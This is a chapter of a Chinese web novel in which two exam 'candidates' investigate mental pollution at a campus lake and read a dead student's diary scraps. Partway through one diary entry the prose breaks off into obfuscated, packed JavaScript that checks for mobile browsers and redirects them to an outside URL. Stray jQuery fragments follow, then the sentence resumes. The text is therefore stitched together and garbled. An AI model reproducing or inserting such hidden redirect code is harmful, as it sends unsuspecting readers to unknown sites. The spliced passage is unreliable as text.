“什么意思？”易构神色一顿，他隐隐约约察觉到了其中关窍，但那太匪夷所思了。
“姐姐，这些''垃圾''似乎是因为我们精神状态下滑生出来的。”
青年摁压着太阳穴的位置，体会自己的感觉总结道。
祈灵看着易构摁压太阳穴的动作，心下微动，“易构，你现在的感觉是什么样的？”
“头很晕，但我非常清楚这些不适是地上的污染物造成的，”易构认真地看着眼前的少女解释道：“姐姐，我之前去过一个考场，那个考场的死亡危机主要来源于精神污染，我当时感觉和现在很像。”
祈灵点点头，在她的示意下，易构简单将之前的那个考场的情形描述了一下。
当时易构是与人组队进入的，据他的说法，组队进入考场，考场等级自动匹配为队内等级最高的人。
“那是个A级考场，”青年说话时不自觉地有些紧张，这是下意识的反应。
祈灵见此自然而然地抬手安抚地拍了拍他的肩膀，帮他把一根沾在鬓角的草碎擦去
“你是安全的。”
易构眨了眨水汪汪的眼睛，轻轻点了点头，说道：“那是个很恐怖的本，我没有看到一滴血，整个世界只是充斥着无数扭曲的线条，它们不断增多，然后所有考生都像疯了一样，甚至我的准考证都没有办法拉回大家的理智，不过好在最后蛊找到了降低污染的办法，我们才能得救。”
易构的讲述虽然省去了很多细节，但好在讲到了祈灵想要听到的信息，就是最后一句话——
“降低污染？”
青年点点头，“我们收集空中漂浮的黑线，然后将其炼成粘稠的液滴吞噬下去，借助这种方法大家的理智得以回升。”
易构说到这，突然停顿了一下而后白皙的脸蛋很不自然地扭曲了一下，艰难地咽了下唾沫，犹豫地开口问道：“姐姐，我们不会要吃这些''心脏''吧。”
祈灵听着易构的话，修长的指尖一下一下点在下巴，她若有所思地点点头。而后非常不合时宜地抿唇一笑，本是个很俏皮的表情，此时配上她眯缝着的眸子，让人脊背发寒，“当然不会。”
果然，还不等易构平缓下来心情，少女便弯下腰捡起地上的一枚纸片，在系统通知音中，轻轻念道：“我们要吃的不是心脏，是湖水呀。”
【英才湖污染物收集9/10】
祈灵琢磨了一下易构口中的A级考场，再加之自己先前被污染后的体验——
那种仿佛精神被重启的感觉，无疑是在彰显着降低污染的法子是“产生抗体”。
所以自己后续收集纸片产生的幻觉才会比易构轻。
当然在她收集第六件污染物时，很显然是没有接触到湖水的，那么为什么没有受到污染呢？
祈灵起初不敢肯定的原因就在于此，但在听了易构讲述后，她忽然有了一个想法，万一她早在无意中产生了“抗体”呢？
比如消失的室友那个隐藏任务。
想通之后，祈灵不再犹豫，转头看向不远处的湖泊。
“姐姐，我们真的要喝那片湖水吗？”
祈灵丝毫不带动摇地开口：“我们得尽快了，按照常规安排晚上应该会有宵禁，信息掌握太少我们会很被动。”
易构点点头，低头看向拿着木偶的女孩，“小木，抓紧我的手，我们接下来要小心点了。”
祈灵眸光看向英才湖的西侧，她记得那里有一处缺角，喝那儿的水估计安全一点
就在三人准备动身之际，身侧一直不言不语的女孩突然出声：“水？”
祈灵脚步一顿，转头看向女孩，就见她转头看了一眼死寂的湖泊而后缓缓张口：“手。”
下一秒，一只巨型木偶虚影在空中缓缓成型。
祈灵眸光闪了闪，仔细打量着女孩的动作，就见灵偶神情依旧麻木，瞳孔漆黑，一双手抓着怀中的木偶轻轻一动，紧接着就看到，那道虚影俯下身去，捧起湖中的水，来到三人面前。
祈灵：“……”
易构：“……”
“这样就行了？”易构瞪大眼睛，望着面前这滩水说道。
“看起来是的。”祈灵勾起唇瓣，在空中点了两下，斥五分巨资买了个包装精美的水果味巧克力，嗓音柔和：“谢谢。”
她笑着摊开摆着巧克力的掌心，平放在女孩面前。
灵偶睁着一对漆黑不透光的眼睛，一动不动地看着那颗糖果，良久才稚嫩地问道：“我？”
“是的，你的准考证很强大，”祈灵笑着回答。
灵偶神情没有什么变化，伸手接过了那颗糖果，而后再次垂下脑袋，把玩着手上的木偶。
在巨型身影消失前，易构眼疾手快地取出一瓶矿泉水，三两下将里面装着的替换成了湖水。
“姐姐，我们现在就喝吗？”
祈灵看着那瓶纯黑的湖水，舌尖碰了碰齿关，开口说道：“可以把你们收集到的纸片给我看看吗？”
易构飞快地点点头，没有丝毫迟疑地蹲下身来将手中纸片在地上逐个摆开。
灵偶见状缓慢地把视线从木偶上挪开，而后将空下的手缓缓探进口袋，取出四枚纸团递给易构。
祈灵也弯着眉眼递交了自己的纸团。
易构：“……”
怎么有种无痛成为工具人的感觉。
他本就蹲在地上，索性将二人的纸团接过一齐上下排列着打开。
三人总共收集到十二枚纸片，纸片的时间跨度从2026年9月开始，直到2027年7月。
“刚好一学年。”易构看着这些纸片若有所思道。
祈灵也注意到了这点，或者说猜到了这点，不过她关注的重点不在这，而是那些纸片字里行间透露出的……情绪。
【2026年9月21日
学校真大真漂亮，难怪妈妈说我一定要好好念书，大学果然不一样！】
【2026年10月7日
昨天兼职到太晚了，室友以为我回家了，不小心把我锁门外了，晚上蚊子有点多，还好不是冬天，今天上课犯困被专业课老师骂了。
老师好凶，我看见室友的肩膀一直抖，应该是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388261|165453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被吓到了，都是我不好。】
【2026年11月21日
开学一个月了，室友好像不太喜欢我，应该是错觉吧。】
【2026年12月10日
学校的天空变得好暗啊xxxxx】
祈灵视线一顿，这张纸的最后是一摊水迹浸透的痕迹，但很显然不是他们刚刚失手弄湿的，而是这张纸的主人浸湿的。
【2026年12月30日
明天元旦兼职工资会涨，很开心。】
【2027年1月1日
室友回家了，不小心把我缩在宿舍了，我的手机弄丢了，兼职没去成。
答应好老板的，突然消失不知道要不要赔钱。】
这是这么多张里唯一连着的两张，故事很完整，祈灵视线继续下挪。
【2027年2月3日
放假了，还好能申请留校。上学期期末考我是专业第一，这个学期只要多参加志愿活动，多比赛，奖学金应该没问题，加油！】
【2027年3月27日
今天做志愿活动的时候差点掉英才湖里，多亏了社长，他叫什么来着，对了，雪序！我要请他吃饭。】
【2027年4月12日
我好害怕xxxxxx】
又是一断被糊掉的字迹，接下来的两张是祈灵先前看过的五月一和五月六。
【2027年7月2日
它们在吃人啊xxxx&xx&】
这次掩盖掉字迹的不是水渍或者墨迹而是一段扭曲到无法辨识的文字。
“姐姐，我们现在要出去吗？”他示意了一下身后开始发出噪音的地方。
“不用管他们，但我们确实可以走了。”
祈灵三两下收好纸片，分成三份后，接过易构手上的水瓶，仰头灌了一口。
“姐姐！”
易构惊呼一声，双拳瞬间攥紧，一双大眼一眨不眨地看着少女，神情紧张的仿佛吞食湖水的是自己。
冰冷的湖水顺着食道缓缓下滑，所过之处留下火辣辣地痛楚，祈灵面色不变，只觉得眼前的景物似是上下颠倒了一般，左右摇晃。
有了上一次的经验，祈灵处理这种精神污染简直算得上游刃有余，不过她现在需要做的不只是清醒过来。
她暗自吸了一口气，神经紧绷地控制自己将右手抬至眼前，而后集中注意，睁着混乱迷茫的眼，强行将视线挪到掌心，就见其上放着一张方纸。
一分钟前那张方纸上写着的是——
【2027年7月2日
它们在吃人啊xxxx&xx&】
看到那行无法辨识的字时，祈灵脑海中莫名闪过一丝念头——
这些字该不会是主人公陷入精神污染时写的吧。
正常人看不懂精神污染状态下主人公写的字迹，那如果她也陷入污染状态呢？
祈灵唇角勾出一个弧度，她的瞳孔虽然有些失焦的模糊，但神色是遮掩不住的自信与疯狂。
负负得正，污染者才能明白污染者不是吗？